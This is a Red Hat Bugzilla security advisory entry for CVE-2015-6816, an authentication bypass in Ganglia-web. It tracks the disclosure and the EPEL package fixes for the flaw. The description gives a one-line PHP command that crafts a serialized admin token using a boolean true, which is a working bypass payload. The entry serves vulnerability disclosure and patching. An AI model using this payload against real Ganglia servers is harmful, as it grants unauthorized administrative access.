Bug 1260562 (CVE-2015-6816) - CVE-2015-6816 ganglia: Bypassing Ganglia-web auth using boolean serialization
Summary: CVE-2015-6816 ganglia: Bypassing Ganglia-web auth using boolean serialization
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Status: CLOSED UPSTREAM
Alias: CVE-2015-6816
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
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high
Target Milestone: ---
Assignee: Red Hat Product Security
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Depends On: 1260563 1260564
Blocks:
TreeView+ depends on / blocked
 
Reported: 2015-09-07 09:19 UTC by Adam Mariš
Modified: 2019-09-29 13:36 UTC (History)
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Last Closed: 2019-06-08 02:43:26 UTC
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Description Adam Mariš 2015-09-07 09:19:01 UTC 
A vulnerability of auth bypassing was found in Ganglia-web. It's easy to bypass auth by using boolean serialization like this:
$ php -r "echo urlencode(serialize(array('user'=>'admin','group'=>'admin', 'token'=>true)));"

Vulnerable code: 

https://github.com/ganglia/ganglia-web/blob/4e98ea69e0e18b388cdc73809ce54843a16ff87b/lib/GangliaAuth.php#L34-L46

Upstream report:

https://github.com/ganglia/ganglia-web/issues/267

CVE assignment:

http://seclists.org/oss-sec/2015/q3/502
Comment 1 Adam Mariš 2015-09-07 09:19:36 UTC 
Created ganglia tracking bugs for this issue:

Affects: fedora-all [bug 1260563]
Affects: epel-all [bug 1260564]
Comment 2 Fedora Update System 2015-11-08 17:51:45 UTC 
ganglia-3.7.2-2.el7 has been pushed to the Fedora EPEL 7 stable repository. If problems still persist, please make note of it in this bug report.
Comment 3 Fedora Update System 2015-11-08 18:24:14 UTC 
ganglia-3.7.2-2.el6 has been pushed to the Fedora EPEL 6 stable repository. If problems still persist, please make note of it in this bug report.
Comment 4 Product Security DevOps Team 2019-06-08 02:43:26 UTC 
This CVE Bugzilla entry is for community support informational purposes only as it does not affect a package in a commercially supported Red Hat product. Refer to the dependent bugs for status of those individual community products.
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